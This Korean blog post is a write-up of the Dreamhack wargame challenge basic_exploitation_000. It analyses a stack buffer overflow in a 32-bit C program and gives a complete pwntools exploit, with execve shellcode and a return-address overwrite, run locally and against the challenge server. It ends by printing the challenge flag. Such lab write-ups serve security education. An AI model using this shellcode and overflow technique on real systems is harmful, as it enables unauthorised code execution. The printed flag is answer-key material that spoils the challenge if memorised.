[dreamhack][writeup] System-stage5: basic_exploitation_000

mj·2023년 4월 1일
0
post-thumbnail

문제 파일 확인

파일 타입 확인

해당 파일은 32bit ELF 파일이다.

소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

main 함수를 봤을 때 크기 0x80 만큼의 버퍼가 설정되어 있고, 버퍼의 주소 출력 후, scanf() 에서 해당 버퍼에 입력값을 받고 있다.

scanf() 함수에서 스택 버퍼 오버플로우 취약점이 발생하는 것을 확인할 수 있다.

메모리 보호 기법 확인

해당 파일에는 아무런 보호기법도 걸려있지 않다.

시나리오

NX 보호기법이 걸려있지 않으므로, 스택에서 명령어를 실행시킬 수 있다. 스택 버퍼 오버플로우 취약점을 이용해서 스택에 셸 코드를 삽입 한 후 해당 셸 코드의 주소로 return address 를 덮어씌우면 된다. 이 때 buf 의 주소를 알아야 하는데, 버퍼의 주소는 프로그램에서 출력해주므로 따로 구할 필요가 없다.

필요한 정보

buf 와 return address 사이의 바이트 수를 알아야 한다.

필요한 정보 확인

scanf 함수 부근을 보면 스택에 ebp-0x80 값을 넣고 있다. 즉 buf 의 주소가 ebp-0x80 이라는 것이다.
x86 아키텍처에서 return address 의 위치는 ebp+0x4 이므로 buf 와 return address 사이의 바이트 수는 0x84 이다.

페이로드

페이로드 작성

from pwn import *

p = process("./basic_exploitation_000")
e = ELF("./basic_exploitation_000")

sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
print("len(sh): ", len(sh))

payload = b''
payload += sh
payload += b"\x90" * (0x84 - len(sh))

p.recvuntil(b"buf = (")
buf = p.recv(10)
buf = int(buf, 16)
print("buf: ", hex(buf))

payload += p32(buf)
p.send(payload)
p.interactive()

로컬 공격

공격

접속 정보 확인

페이로드 수정

from pwn import *

#p = process("./basic_exploitation_000")
p = remote("host3.dreamhack.games", 22998)
e = ELF("./basic_exploitation_000")

sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
print("len(sh): ", len(sh))

payload = b''
payload += sh
payload += b"\x90" * (0x84 - len(sh))

p.recvuntil(b"buf = (")
buf = p.recv(10)
buf = int(buf, 16)
print("buf: ", hex(buf))

payload += p32(buf)
p.send(payload)
p.interactive()

공격

  • flag: DH{465dd453b2a25a26a847a93d3695676d}
profile
사는게 쉽지가 않네요

0개의 댓글